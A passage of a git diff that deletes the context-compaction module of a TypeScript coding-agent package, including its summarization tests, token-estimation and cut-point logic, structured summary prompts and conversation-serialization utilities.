${mockComplete.mock.calls.length}`, - ); - - // First call should be an initial summary, subsequent should be updates - assert.equal( - calls[0], - "initial", - "First chunk should use initial summarization prompt", - ); - for (let i = 1; i < calls.length; i++) { - assert.equal( - calls[i], - "update", - `Chunk ${i + 1} should use update summarization prompt`, - ); - } - - // Should return a non-empty summary - assert.ok(summary.length > 0, "Summary should not be empty"); - }); - - it("uses single-pass when messages fit within model context window", async () => { - const messages: AgentMessage[] = [ - makeUserMessage(10_000), - makeUserMessage(10_000), - ]; - const model = makeModel(200_000); - const reserveTokens = 16_384; - - // Verify test setup - let totalTokens = 0; - for (const m of messages) totalTokens += estimateTokens(m); - assert.ok( - totalTokens < model.contextWindow, - `Test setup: ${totalTokens} tokens should fit in ${model.contextWindow} context window`, - ); - - const mockComplete = vi.fn(async () => - makeFakeResponse("Single pass summary"), - ); - - await generateSummary( - messages, - model, - reserveTokens, - undefined, - undefined, - undefined, - undefined, - mockComplete, - ); - - assert.equal( - mockComplete.mock.calls.length, - 1, - "Should use single-pass summarization when messages fit in context window", - ); - }); - - it("passes previousSummary through chunked summarization", async () => { - const messages: AgentMessage[] = [ - makeUserMessage(80_000), - makeUserMessage(80_000), - makeUserMessage(80_000), - ]; - const model = makeModel(200_000); - const reserveTokens = 16_384; - const previousSummary = "Previous session summary content"; - - const prompts: string[] = []; - const mockComplete = vi.fn(async (_model: any, context: any) => { - const userMsg = context.messages?.[0]; - const text = - typeof userMsg?.content === "string" - ? userMsg.content - : (userMsg?.content?.[0]?.text ?? ""); - prompts.push(text); - return makeFakeResponse("Chunk summary"); - }); - - await generateSummary( - messages, - model, - reserveTokens, - undefined, - undefined, - undefined, - previousSummary, - mockComplete, - ); - - // First chunk should include the previousSummary - assert.ok( - prompts[0].includes(previousSummary), - "First chunk should incorporate the previousSummary", - ); - }); -}); diff --git a/packages/pi-coding-agent/src/core/compaction/compaction.ts b/packages/pi-coding-agent/src/core/compaction/compaction.ts deleted file mode 100644 index e2e1dcbb8..000000000 --- a/packages/pi-coding-agent/src/core/compaction/compaction.ts +++ /dev/null @@ -1,961 +0,0 @@ -/** - * Context compaction for long sessions. - * - * Pure functions for compaction logic. The session manager handles I/O, - * and after compaction the session is reloaded. - */ - -import type { AgentMessage } from "@singularity-forge/pi-agent-core"; -import type { AssistantMessage, Model, Usage } from "@singularity-forge/pi-ai"; -import { completeSimple } from "@singularity-forge/pi-ai"; -import { - COMPACTION_KEEP_RECENT_TOKENS, - COMPACTION_RESERVE_TOKENS, -} from "../constants.js"; -import { convertToLlm } from "../messages.js"; -import { - buildSessionContext, - type CompactionEntry, - type SessionEntry, -} from "../session-manager.js"; -import { - computeFileLists, - createFileOps, - createSummarizationMessage, - extractFileOpsFromMessage, - extractTextContent, - type FileOperations, - formatFileOperations, - getMessageFromEntry, - SUMMARIZATION_SYSTEM_PROMPT, - serializeConversation, -} from "./utils.js"; - -function getMessageFromEntryForCompaction( - entry: SessionEntry, -): AgentMessage | undefined { - if (entry.type === "compaction") { - return undefined; - } - return getMessageFromEntry(entry); -} - -// ============================================================================ -// File Operation Tracking -// ============================================================================ - -/** Details stored in CompactionEntry.details for file tracking */ -export interface CompactionDetails { - readFiles: string[]; - modifiedFiles: string[]; -} - -/** - * Extract file operations from messages and previous compaction entries. - */ -function extractFileOperations( - messages: AgentMessage[], - entries: SessionEntry[], - prevCompactionIndex: number, -): FileOperations { - const fileOps = createFileOps(); - - // Collect from previous compaction's details (if pi-generated) - if (prevCompactionIndex >= 0) { - const prevCompaction = entries[prevCompactionIndex] as CompactionEntry; - if (!prevCompaction.fromHook && prevCompaction.details) { - // fromHook field kept for session file compatibility - const details = prevCompaction.details as CompactionDetails; - if (Array.isArray(details.readFiles)) { - for (const f of details.readFiles) fileOps.read.add(f); - } - if (Array.isArray(details.modifiedFiles)) { - for (const f of details.modifiedFiles) fileOps.edited.add(f); - } - } - } - - // Extract from tool calls in messages - for (const msg of messages) { - extractFileOpsFromMessage(msg, fileOps); - } - - return fileOps; -} - -/** Result from compact() - SessionManager adds uuid/parentUuid when saving */ -export interface CompactionResult { - summary: string; - firstKeptEntryId: string; - tokensBefore: number; - /** Extension-specific data (e.g., ArtifactIndex, version markers for structured compaction) */ - details?: T; -} - -// ============================================================================ -// Types -// ============================================================================ - -export interface CompactionSettings { - enabled: boolean; - reserveTokens: number; - keepRecentTokens: number; -} - -export const DEFAULT_COMPACTION_SETTINGS: CompactionSettings = { - enabled: true, - reserveTokens: COMPACTION_RESERVE_TOKENS, - keepRecentTokens: COMPACTION_KEEP_RECENT_TOKENS, -}; - -// ============================================================================ -// Token calculation -// ============================================================================ - -/** - * Calculate total context tokens from usage. - * Uses the native totalTokens field when available, falls back to computing from components. - */ -export function calculateContextTokens(usage: Usage): number { - return ( - usage.totalTokens || - usage.input + usage.output + usage.cacheRead + usage.cacheWrite - ); -} - -/** - * Get usage from an assistant message if available. - * Skips aborted and error messages as they don't have valid usage data. - */ -function getAssistantUsage(msg: AgentMessage): Usage | undefined { - if (msg.role === "assistant" && "usage" in msg) { - const assistantMsg = msg as AssistantMessage; - if ( - assistantMsg.stopReason !== "aborted" && - assistantMsg.stopReason !== "error" && - assistantMsg.usage - ) { - return assistantMsg.usage; - } - } - return undefined; -} - -/** - * Find the last non-aborted assistant message usage from session entries. - */ -export function getLastAssistantUsage( - entries: SessionEntry[], -): Usage | undefined { - for (let i = entries.length - 1; i >= 0; i--) { - const entry = entries[i]; - if (entry.type === "message") { - const usage = getAssistantUsage(entry.message); - if (usage) return usage; - } - } - return undefined; -} - -export interface ContextUsageEstimate { - tokens: number; - usageTokens: number; - trailingTokens: number; - lastUsageIndex: number | null; -} - -function getLastAssistantUsageInfo( - messages: AgentMessage[], -): { usage: Usage; index: number } | undefined { - for (let i = messages.length - 1; i >= 0; i--) { - const usage = getAssistantUsage(messages[i]); - if (usage) return { usage, index: i }; - } - return undefined; -} - -/** - * Estimate context tokens from messages, using the last assistant usage when available. - * If there are messages after the last usage, estimate their tokens with estimateTokens. - */ -export function estimateContextTokens( - messages: AgentMessage[], -): ContextUsageEstimate { - const usageInfo = getLastAssistantUsageInfo(messages); - - if (!usageInfo) { - let estimated = 0; - for (const message of messages) { - estimated += estimateTokens(message); - } - return { - tokens: estimated, - usageTokens: 0, - trailingTokens: estimated, - lastUsageIndex: null, - }; - } - - const usageTokens = calculateContextTokens(usageInfo.usage); - let trailingTokens = 0; - for (let i = usageInfo.index + 1; i < messages.length; i++) { - trailingTokens += estimateTokens(messages[i]); - } - - return { - tokens: usageTokens + trailingTokens, - usageTokens, - trailingTokens, - lastUsageIndex: usageInfo.index, - }; -} - -/** - * Check if compaction should trigger based on context usage. - */ -export function shouldCompact( - contextTokens: number, - contextWindow: number, - settings: CompactionSettings, -): boolean { - if (!settings.enabled) return false; - return contextTokens > contextWindow - settings.reserveTokens; -} - -// ============================================================================ -// Cut point detection -// ============================================================================ - -/** - * Estimate token count for a message using chars/4 heuristic. - * This is conservative (overestimates tokens). - */ -export function estimateTokens(message: AgentMessage): number { - let chars = 0; - - switch (message.role) { - case "user": { - const content = ( - message as { content: string | Array<{ type: string; text?: string }> } - ).content; - if (typeof content === "string") { - chars = content.length; - } else if (Array.isArray(content)) { - for (const block of content) { - if (block.type === "text" && block.text) { - chars += block.text.length; - } - } - } - return Math.ceil(chars / 4); - } - case "assistant": { - const assistant = message as AssistantMessage; - for (const block of assistant.content) { - if (block.type === "text") { - chars += block.text.length; - } else if (block.type === "thinking") { - chars += block.thinking.length; - } else if (block.type === "toolCall") { - chars += block.name.length + JSON.stringify(block.arguments).length; - } - } - return Math.ceil(chars / 4); - } - case "custom": - case "toolResult": { - if (typeof message.content === "string") { - chars = message.content.length; - } else { - for (const block of message.content) { - if (block.type === "text" && block.text) { - chars += block.text.length; - } - if (block.type === "image") { - chars += 4800; // Estimate images as 4000 chars, or 1200 tokens - } - } - } - return Math.ceil(chars / 4); - } - case "bashExecution": { - chars = message.command.length + message.output.length; - return Math.ceil(chars / 4); - } - case "branchSummary": - case "compactionSummary": { - chars = message.summary.length; - return Math.ceil(chars / 4); - } - } - - return 0; -} - -/** - * Find valid cut points: indices of user, assistant, custom, or bashExecution messages. - * Never cut at tool results (they must follow their tool call). - * When we cut at an assistant message with tool calls, its tool results follow it - * and will be kept. - * BashExecutionMessage is treated like a user message (user-initiated context). - */ -function findValidCutPoints( - entries: SessionEntry[], - startIndex: number, - endIndex: number, -): number[] { - const cutPoints: number[] = []; - for (let i = startIndex; i < endIndex; i++) { - const entry = entries[i]; - switch (entry.type) { - case "message": { - const role = entry.message.role; - switch (role) { - case "bashExecution": - case "custom": - case "branchSummary": - case "compactionSummary": - case "user": - case "assistant": - cutPoints.push(i); - break; - case "toolResult": - break; - } - break; - } - case "thinking_level_change": - case "model_change": - case "compaction": - case "branch_summary": - case "custom": - case "custom_message": - case "label": - } - // branch_summary and custom_message are user-role messages, valid cut points - if (entry.type === "branch_summary" || entry.type === "custom_message") { - cutPoints.push(i); - } - } - return cutPoints; -} - -/** - * Find the user message (or bashExecution) that starts the turn containing the given entry index. - * Returns -1 if no turn start found before the index. - * BashExecutionMessage is treated like a user message for turn boundaries. - */ -export function findTurnStartIndex( - entries: SessionEntry[], - entryIndex: number, - startIndex: number, -): number { - for (let i = entryIndex; i >= startIndex; i--) { - const entry = entries[i]; - // branch_summary and custom_message are user-role messages, can start a turn - if (entry.type === "branch_summary" || entry.type === "custom_message") { - return i; - } - if (entry.type === "message") { - const role = entry.message.role; - if (role === "user" || role === "bashExecution") { - return i; - } - } - } - return -1; -} - -export interface CutPointResult { - /** Index of first entry to keep */ - firstKeptEntryIndex: number; - /** Index of user message that starts the turn being split, or -1 if not splitting */ - turnStartIndex: number; - /** Whether this cut splits a turn (cut point is not a user message) */ - isSplitTurn: boolean; -} - -/** - * Find the cut point in session entries that keeps approximately `keepRecentTokens`. - * - * Algorithm: Walk backwards from newest, accumulating estimated message sizes. - * Stop when we've accumulated >= keepRecentTokens. Cut at that point. - * - * Can cut at user OR assistant messages (never tool results). When cutting at an - * assistant message with tool calls, its tool results come after and will be kept. - * - * Returns CutPointResult with: - * - firstKeptEntryIndex: the entry index to start keeping from - * - turnStartIndex: if cutting mid-turn, the user message that started that turn - * - isSplitTurn: whether we're cutting in the middle of a turn - * - * Only considers entries between `startIndex` and `endIndex` (exclusive). - */ -export function findCutPoint( - entries: SessionEntry[], - startIndex: number, - endIndex: number, - keepRecentTokens: number, -): CutPointResult { - const cutPoints = findValidCutPoints(entries, startIndex, endIndex); - - if (cutPoints.length === 0) { - return { - firstKeptEntryIndex: startIndex, - turnStartIndex: -1, - isSplitTurn: false, - }; - } - - // Walk backwards from newest, accumulating estimated message sizes - let accumulatedTokens = 0; - let cutIndex = cutPoints[0]; // Default: keep from first message (not header) - - for (let i = endIndex - 1; i >= startIndex; i--) { - const entry = entries[i]; - if (entry.type !== "message") continue; - - // Estimate this message's size - const messageTokens = estimateTokens(entry.message); - accumulatedTokens += messageTokens; - - // Check if we've exceeded the budget - if (accumulatedTokens >= keepRecentTokens) { - // Find the closest valid cut point at or after this entry - for (let c = 0; c < cutPoints.length; c++) { - if (cutPoints[c] >= i) { - cutIndex = cutPoints[c]; - break; - } - } - break; - } - } - - // Scan backwards from cutIndex to include any non-message entries (bash, settings, etc.) - while (cutIndex > startIndex) { - const prevEntry = entries[cutIndex - 1]; - // Stop at session header or compaction boundaries - if (prevEntry.type === "compaction") { - break; - } - if (prevEntry.type === "message") { - // Stop if we hit any message - break; - } - // Include this non-message entry (bash, settings change, etc.) - cutIndex--; - } - - // Determine if this is a split turn - const cutEntry = entries[cutIndex]; - const isUserMessage = - cutEntry.type === "message" && cutEntry.message.role === "user"; - const turnStartIndex = isUserMessage - ? -1 - : findTurnStartIndex(entries, cutIndex, startIndex); - - return { - firstKeptEntryIndex: cutIndex, - turnStartIndex, - isSplitTurn: !isUserMessage && turnStartIndex !== -1, - }; -} - -// ============================================================================ -// Summarization -// ============================================================================ - -const SUMMARIZATION_PROMPT = `The messages above are a conversation to summarize. Create a structured context checkpoint summary that another LLM will use to continue the work. - -Use this EXACT format: - -## Goal -[What is the user trying to accomplish? Can be multiple items if the session covers different tasks.] - -## Constraints & Preferences -- [Any constraints, preferences, or requirements mentioned by user] -- [Or "(none)" if none were mentioned] - -## Progress -### Done -- [x] [Completed tasks/changes] - -### In Progress -- [ ] [Current work] - -### Blocked -- [Issues preventing progress, if any] - -## Key Decisions -- **[Decision]**: [Brief rationale] - -## Next Steps -1. [Ordered list of what should happen next] - -## Critical Context -- [Any data, examples, or references needed to continue] -- [Or "(none)" if not applicable] - -Keep each section concise. Preserve exact file paths, function names, and error messages.`; - -const UPDATE_SUMMARIZATION_PROMPT = `The messages above are NEW conversation messages to incorporate into the existing summary provided in tags. - -Update the existing structured summary with new information. RULES: -- PRESERVE all existing information from the previous summary -- ADD new progress, decisions, and context from the new messages -- UPDATE the Progress section: move items from "In Progress" to "Done" when completed -- UPDATE "Next Steps" based on what was accomplished -- PRESERVE exact file paths, function names, and error messages -- If something is no longer relevant, you may remove it - -Use this EXACT format: - -## Goal -[Preserve existing goals, add new ones if the task expanded] - -## Constraints & Preferences -- [Preserve existing, add new ones discovered] - -## Progress -### Done -- [x] [Include previously done items AND newly completed items] - -### In Progress -- [ ] [Current work - update based on progress] - -### Blocked -- [Current blockers - remove if resolved] - -## Key Decisions -- **[Decision]**: [Brief rationale] (preserve all previous, add new) - -## Next Steps -1. [Update based on current state] - -## Critical Context -- [Preserve important context, add new if needed] - -Keep each section concise. Preserve exact file paths, function names, and error messages.`; - -/** - * Split messages into chunks where each chunk's estimated token count - * stays within `maxTokensPerChunk`. A single message that exceeds the - * budget is placed alone in its own chunk (never dropped). - */ -export function chunkMessages( - messages: AgentMessage[], - maxTokensPerChunk: number, -): AgentMessage[][] { - const chunks: AgentMessage[][] = []; - let currentChunk: AgentMessage[] = []; - let currentTokens = 0; - - for (const msg of messages) { - const msgTokens = estimateTokens(msg); - - if ( - currentChunk.length > 0 && - currentTokens + msgTokens > maxTokensPerChunk - ) { - // Current chunk is full — start a new one - chunks.push(currentChunk); - currentChunk = [msg]; - currentTokens = msgTokens; - } else { - currentChunk.push(msg); - currentTokens += msgTokens; - } - } - - if (currentChunk.length > 0) { - chunks.push(currentChunk); - } - - return chunks; -} - -/** Type for the completion function, allowing injection for tests. */ -type CompleteFn = typeof completeSimple; - -/** - * Generate a summary of the conversation using the LLM. - * If previousSummary is provided, uses the update prompt to merge. - * - * When the messages exceed the model's context window, automatically - * falls back to chunked summarization: summarize the first chunk, - * then iteratively merge subsequent chunks using the update prompt. - * - * @param _completeFn - Internal override for testing; defaults to completeSimple. - */ -export async function generateSummary( - currentMessages: AgentMessage[], - model: Model, - reserveTokens: number, - apiKey: string | undefined, - signal?: AbortSignal, - customInstructions?: string, - previousSummary?: string, - _completeFn?: CompleteFn, -): Promise { - const complete = _completeFn ?? completeSimple; - - // Estimate total tokens for the messages to summarize - let totalTokens = 0; - for (const msg of currentMessages) { - totalTokens += estimateTokens(msg); - } - - // Overhead for the prompt framing, system prompt, and response budget - const promptOverhead = 4_000; - const _maxTokens = Math.floor(0.8 * reserveTokens); - const maxInputTokens = - (model.contextWindow || 200_000) - reserveTokens - promptOverhead; - - // If messages fit in the context window, use single-pass summarization - if (totalTokens <= maxInputTokens) { - return singlePassSummary( - currentMessages, - model, - reserveTokens, - apiKey, - signal, - customInstructions, - previousSummary, - complete, - ); - } - - // Chunked fallback: split messages and iteratively summarize - const chunks = chunkMessages(currentMessages, maxInputTokens); - let runningSummary = previousSummary; - - for (let i = 0; i < chunks.length; i++) { - runningSummary = await singlePassSummary( - chunks[i], - model, - reserveTokens, - apiKey, - signal, - customInstructions, - runningSummary, - complete, - ); - } - - return runningSummary!; -} - -/** - * Single-pass summarization of messages using the LLM. - * If previousSummary is provided, uses the update prompt to merge. - */ -async function singlePassSummary( - currentMessages: AgentMessage[], - model: Model, - reserveTokens: number, - apiKey: string | undefined, - signal?: AbortSignal, - customInstructions?: string, - previousSummary?: string, - complete: CompleteFn = completeSimple, -): Promise { - const maxTokens = Math.floor(0.8 * reserveTokens); - - // Use update prompt if we have a previous summary, otherwise initial prompt - let basePrompt = previousSummary - ? UPDATE_SUMMARIZATION_PROMPT - : SUMMARIZATION_PROMPT; - if (customInstructions) { - basePrompt = `${basePrompt}\n\nAdditional focus: ${customInstructions}`; - } - - // Serialize conversation to text so model doesn't try to continue it - // Convert to LLM messages first (handles custom types like bashExecution, custom, etc.) - const llmMessages = convertToLlm(currentMessages); - const conversationText = serializeConversation(llmMessages); - - // Build the prompt with conversation wrapped in tags - let promptText = `\n${conversationText}\n\n\n`; - if (previousSummary) { - promptText += `\n${previousSummary}\n\n\n`; - } - promptText += basePrompt; - - const completionOptions = model.reasoning - ? { maxTokens, signal, apiKey, reasoning: "high" as const } - : { maxTokens, signal, apiKey }; - - const response = await complete( - model, - { - systemPrompt: SUMMARIZATION_SYSTEM_PROMPT, - messages: createSummarizationMessage(promptText), - }, - completionOptions, - ); - - if (response.stopReason === "error") { - throw new Error( - `Summarization failed: ${response.errorMessage || "Unknown error"}`, - ); - } - - return extractTextContent(response.content); -} - -// ============================================================================ -// Compaction Preparation (for extensions) -// ============================================================================ - -export interface CompactionPreparation { - /** UUID of first entry to keep */ - firstKeptEntryId: string; - /** Messages that will be summarized and discarded */ - messagesToSummarize: AgentMessage[]; - /** Messages that will be turned into turn prefix summary (if splitting) */ - turnPrefixMessages: AgentMessage[]; - /** Whether this is a split turn (cut point in middle of turn) */ - isSplitTurn: boolean; - tokensBefore: number; - /** Summary from previous compaction, for iterative update */ - previousSummary?: string; - /** File operations extracted from messagesToSummarize */ - fileOps: FileOperations; - /** Compaction settions from settings.jsonl */ - settings: CompactionSettings; -} - -export function prepareCompaction( - pathEntries: SessionEntry[], - settings: CompactionSettings, -): CompactionPreparation | undefined { - if ( - pathEntries.length > 0 && - pathEntries[pathEntries.length - 1].type === "compaction" - ) { - return undefined; - } - - let prevCompactionIndex = -1; - for (let i = pathEntries.length - 1; i >= 0; i--) { - if (pathEntries[i].type === "compaction") { - prevCompactionIndex = i; - break; - } - } - let previousSummary: string | undefined; - let boundaryStart = 0; - if (prevCompactionIndex >= 0) { - const prevCompaction = pathEntries[prevCompactionIndex] as CompactionEntry; - previousSummary = prevCompaction.summary; - const firstKeptEntryIndex = pathEntries.findIndex( - (entry) => entry.id === prevCompaction.firstKeptEntryId, - ); - boundaryStart = - firstKeptEntryIndex >= 0 ? firstKeptEntryIndex : prevCompactionIndex + 1; - } - const boundaryEnd = pathEntries.length; - - const tokensBefore = estimateContextTokens( - buildSessionContext(pathEntries).messages, - ).tokens; - - const cutPoint = findCutPoint( - pathEntries, - boundaryStart, - boundaryEnd, - settings.keepRecentTokens, - ); - - // Get UUID of first kept entry - const firstKeptEntry = pathEntries[cutPoint.firstKeptEntryIndex]; - if (!firstKeptEntry?.id) { - return undefined; // Session needs migration - } - const firstKeptEntryId = firstKeptEntry.id; - - const historyEnd = cutPoint.isSplitTurn - ? cutPoint.turnStartIndex - : cutPoint.firstKeptEntryIndex; - - // Messages to summarize (will be discarded after summary) - const messagesToSummarize: AgentMessage[] = []; - for (let i = boundaryStart; i < historyEnd; i++) { - const msg = getMessageFromEntryForCompaction(pathEntries[i]); - if (msg) messagesToSummarize.push(msg); - } - - // Messages for turn prefix summary (if splitting a turn) - const turnPrefixMessages: AgentMessage[] = []; - if (cutPoint.isSplitTurn) { - for ( - let i = cutPoint.turnStartIndex; - i < cutPoint.firstKeptEntryIndex; - i++ - ) { - const msg = getMessageFromEntryForCompaction(pathEntries[i]); - if (msg) turnPrefixMessages.push(msg); - } - } - - // Extract file operations from messages and previous compaction - const fileOps = extractFileOperations( - messagesToSummarize, - pathEntries, - prevCompactionIndex, - ); - - // Also extract file ops from turn prefix if splitting - if (cutPoint.isSplitTurn) { - for (const msg of turnPrefixMessages) { - extractFileOpsFromMessage(msg, fileOps); - } - } - - return { - firstKeptEntryId, - messagesToSummarize, - turnPrefixMessages, - isSplitTurn: cutPoint.isSplitTurn, - tokensBefore, - previousSummary, - fileOps, - settings, - }; -} - -// ============================================================================ -// Main compaction function -// ============================================================================ - -const TURN_PREFIX_SUMMARIZATION_PROMPT = `This is the PREFIX of a turn that was too large to keep. The SUFFIX (recent work) is retained. - -Summarize the prefix to provide context for the retained suffix: - -## Original Request -[What did the user ask for in this turn?] - -## Early Progress -- [Key decisions and work done in the prefix] - -## Context for Suffix -- [Information needed to understand the retained recent work] - -Be concise. Focus on what's needed to understand the kept suffix.`; - -/** - * Generate summaries for compaction using prepared data. - * Returns CompactionResult - SessionManager adds uuid/parentUuid when saving. - * - * @param preparation - Pre-calculated preparation from prepareCompaction() - * @param customInstructions - Optional custom focus for the summary - */ -export async function compact( - preparation: CompactionPreparation, - model: Model, - apiKey: string | undefined, - customInstructions?: string, - signal?: AbortSignal, -): Promise { - const { - firstKeptEntryId, - messagesToSummarize, - turnPrefixMessages, - isSplitTurn, - tokensBefore, - previousSummary, - fileOps, - settings, - } = preparation; - - // Generate summaries (can be parallel if both needed) and merge into one - let summary: string; - - if (isSplitTurn && turnPrefixMessages.length > 0) { - // Generate both summaries in parallel - const [historyResult, turnPrefixResult] = await Promise.all([ - messagesToSummarize.length > 0 - ? generateSummary( - messagesToSummarize, - model, - settings.reserveTokens, - apiKey, - signal, - customInstructions, - previousSummary, - ) - : Promise.resolve("No prior history."), - generateTurnPrefixSummary( - turnPrefixMessages, - model, - settings.reserveTokens, - apiKey, - signal, - ), - ]); - // Merge into single summary - summary = `${historyResult}\n\n---\n\n**Turn Context (split turn):**\n\n${turnPrefixResult}`; - } else { - // Just generate history summary - summary = await generateSummary( - messagesToSummarize, - model, - settings.reserveTokens, - apiKey, - signal, - customInstructions, - previousSummary, - ); - } - - // Compute file lists and append to summary - const { readFiles, modifiedFiles } = computeFileLists(fileOps); - summary += formatFileOperations(readFiles, modifiedFiles); - - if (!firstKeptEntryId) { - throw new Error( - "First kept entry has no UUID - session may need migration", - ); - } - - return { - summary, - firstKeptEntryId, - tokensBefore, - details: { readFiles, modifiedFiles } as CompactionDetails, - }; -} - -/** - * Generate a summary for a turn prefix (when splitting a turn). - */ -async function generateTurnPrefixSummary( - messages: AgentMessage[], - model: Model, - reserveTokens: number, - apiKey: string | undefined, - signal?: AbortSignal, -): Promise { - const maxTokens = Math.floor(0.5 * reserveTokens); // Smaller budget for turn prefix - const llmMessages = convertToLlm(messages); - const conversationText = serializeConversation(llmMessages); - const promptText = `\n${conversationText}\n\n\n${TURN_PREFIX_SUMMARIZATION_PROMPT}`; - - const response = await completeSimple( - model, - { - systemPrompt: SUMMARIZATION_SYSTEM_PROMPT, - messages: createSummarizationMessage(promptText), - }, - { maxTokens, signal, apiKey }, - ); - - if (response.stopReason === "error") { - throw new Error( - `Turn prefix summarization failed: ${response.errorMessage || "Unknown error"}`, - ); - } - - return extractTextContent(response.content); -} diff --git a/packages/pi-coding-agent/src/core/compaction/index.ts b/packages/pi-coding-agent/src/core/compaction/index.ts deleted file mode 100644 index d8c92a67b..000000000 --- a/packages/pi-coding-agent/src/core/compaction/index.ts +++ /dev/null @@ -1,7 +0,0 @@ -/** - * Compaction and summarization utilities. - */ - -export * from "./branch-summarization.js"; -export * from "./compaction.js"; -export * from "./utils.js"; diff --git a/packages/pi-coding-agent/src/core/compaction/utils.ts b/packages/pi-coding-agent/src/core/compaction/utils.ts deleted file mode 100644 index ee09ff3b1..000000000 --- a/packages/pi-coding-agent/src/core/compaction/utils.ts +++ /dev/null @@ -1,309 +0,0 @@ -/** - * Shared utilities for compaction and branch summarization. - */ - -import type { AgentMessage } from "@singularity-forge/pi-agent-core"; -import type { Message } from "@singularity-forge/pi-ai"; -import { TOOL_RESULT_MAX_CHARS } from "../constants.js"; -import { - createBranchSummaryMessage, - createCompactionSummaryMessage, - createCustomMessage, -} from "../messages.js"; -import type { SessionEntry } from "../session-manager.js"; - -// ============================================================================ -// File Operation Tracking -// ============================================================================ - -export interface FileOperations { - read: Set; - written: Set; - edited: Set; -} - -export function createFileOps(): FileOperations { - return { - read: new Set(), - written: new Set(), - edited: new Set(), - }; -} - -/** - * Extract file operations from tool calls in an assistant message. - */ -export function extractFileOpsFromMessage( - message: AgentMessage, - fileOps: FileOperations, -): void { - if (message.role !== "assistant") return; - if (!("content" in message) || !Array.isArray(message.content)) return; - - for (const block of message.content) { - if (typeof block !== "object" || block === null) continue; - if (!("type" in block) || block.type !== "toolCall") continue; - if (!("arguments" in block) || !("name" in block)) continue; - - const args = block.arguments as Record | undefined; - if (!args) continue; - - const path = typeof args.path === "string" ? args.path : undefined; - if (!path) continue; - - switch (block.name) { - case "read": - fileOps.read.add(path); - break; - case "write": - fileOps.written.add(path); - break; - case "edit": - fileOps.edited.add(path); - break; - } - } -} - -/** - * Compute final file lists from file operations. - * Returns readFiles (files only read, not modified) and modifiedFiles. - */ -export function computeFileLists(fileOps: FileOperations): { - readFiles: string[]; - modifiedFiles: string[]; -} { - const modified = new Set([...fileOps.edited, ...fileOps.written]); - const readOnly = [...fileOps.read].filter((f) => !modified.has(f)).sort(); - const modifiedFiles = [...modified].sort(); - return { readFiles: readOnly, modifiedFiles }; -} - -/** - * Format file operations as XML tags for summary. - */ -export function formatFileOperations( - readFiles: string[], - modifiedFiles: string[], -): string { - const sections: string[] = []; - if (readFiles.length > 0) { - sections.push(`\n${readFiles.join("\n")}\n`); - } - if (modifiedFiles.length > 0) { - sections.push( - `\n${modifiedFiles.join("\n")}\n`, - ); - } - if (sections.length === 0) return ""; - return `\n\n${sections.join("\n\n")}`; -} - -// ============================================================================ -// Message Extraction -// ============================================================================ - -/** - * Extract AgentMessage from a session entry. - * - * Handles all entry types: message, custom_message, branch_summary, and compaction. - * Returns undefined for entries that don't contribute to LLM context (e.g., settings changes). - * - * @param skipToolResults - If true, skips toolResult messages (used by branch summarization - * where tool call context is sufficient). Default false. - */ -export function getMessageFromEntry( - entry: SessionEntry, - skipToolResults = false, -): AgentMessage | undefined { - switch (entry.type) { - case "message": - if (skipToolResults && entry.message.role === "toolResult") - return undefined; - return entry.message; - - case "custom_message": - return createCustomMessage( - entry.customType, - entry.content, - entry.display, - entry.details, - entry.timestamp, - ); - - case "branch_summary": - return createBranchSummaryMessage( - entry.summary, - entry.fromId, - entry.timestamp, - ); - - case "compaction": - return createCompactionSummaryMessage( - entry.summary, - entry.tokensBefore, - entry.timestamp, - ); - - case "thinking_level_change": - case "model_change": - case "custom": - case "label": - return undefined; - } -} - -/** - * Collect AgentMessages from a range of session entries. - * - * @param entries - Session entries array - * @param startIndex - First index (inclusive) - * @param endIndex - Last index (exclusive) - * @param skipToolResults - If true, skips toolResult messages. Default false. - */ -export function collectMessages( - entries: SessionEntry[], - startIndex: number, - endIndex: number, - skipToolResults = false, -): AgentMessage[] { - const result: AgentMessage[] = []; - for (let i = startIndex; i < endIndex; i++) { - const msg = getMessageFromEntry(entries[i], skipToolResults); - if (msg) result.push(msg); - } - return result; -} - -// ============================================================================ -// Text Content Extraction -// ============================================================================ - -/** - * Extract text from an array of content blocks, filtering to text-type blocks. - * Replaces the recurring `.filter(c => c.type === "text").map(c => c.text).join(sep)` pattern. - */ -export function extractTextContent( - content: Array<{ type: string; text?: string }>, - separator = "\n", -): string { - return content - .filter((c): c is { type: "text"; text: string } => c.type === "text") - .map((c) => c.text) - .join(separator); -} - -// ============================================================================ -// Summarization Message Construction -// ============================================================================ - -/** - * Create a single-message array for summarization prompts. - * Wraps promptText in the standard `[{ role: "user", content: [{ type: "text", text }], timestamp }]` shape. - */ -export function createSummarizationMessage(promptText: string): [ - { - role: "user"; - content: [{ type: "text"; text: string }]; - timestamp: number; - }, -] { - return [ - { - role: "user" as const, - content: [{ type: "text" as const, text: promptText }], - timestamp: Date.now(), - }, - ]; -} - -// ============================================================================ -// Message Serialization -// ============================================================================ - -// TOOL_RESULT_MAX_CHARS imported from ../constants.js - -/** - * Truncate text to a maximum character length for summarization. - * Keeps the beginning and appends a truncation marker. - */ -function truncateForSummary(text: string, maxChars: number): string { - if (text.length <= maxChars) return text; - const truncatedChars = text.length - maxChars; - return `${text.slice(0, maxChars)}\n\n[... ${truncatedChars} more characters truncated]`; -} - -/** - * Serialize LLM messages to text for summarization. - * This prevents the model from treating it as a conversation to continue. - * Call convertToLlm() first to handle custom message types. - * - * Tool results are truncated to keep the summarization request within - * reasonable token budgets. Full content is not needed for summarization. - */ -export function serializeConversation(messages: Message[]): string { - const parts: string[] = []; - - for (const msg of messages) { - if (msg.role === "user") { - const content = - typeof msg.content === "string" - ? msg.content - : msg.content - .filter( - (c): c is { type: "text"; text: string } => c.type === "text", - ) - .map((c) => c.text) - .join(""); - if (content) parts.push(`**User said:** ${content}`); - } else if (msg.role === "assistant") { - const textParts: string[] = []; - const thinkingParts: string[] = []; - const toolCalls: string[] = []; - - for (const block of msg.content) { - if (block.type === "text") { - textParts.push(block.text); - } else if (block.type === "thinking") { - thinkingParts.push(block.thinking); - } else if (block.type === "toolCall") { - const args = block.arguments as Record; - const argsStr = Object.entries(args) - .map(([k, v]) => `${k}=${JSON.stringify(v)}`) - .join(", "); - toolCalls.push(`${block.name}(${argsStr})`); - } - } - - if (thinkingParts.length > 0) { - parts.push(`**Assistant thinking:** ${thinkingParts.join("\n")}`); - } - if (textParts.length > 0) { - parts.push(`**Assistant responded:** ${textParts.join("\n")}`); - } - if (toolCalls.length > 0) { - parts.push(`**Assistant tool calls:** ${toolCalls.join("; ")}`); - } - } else if (msg.role === "toolResult") { - const content = msg.content - .filter((c): c is { type: "text"; text: string } => c.type === "text") - .map((c) => c.text) - 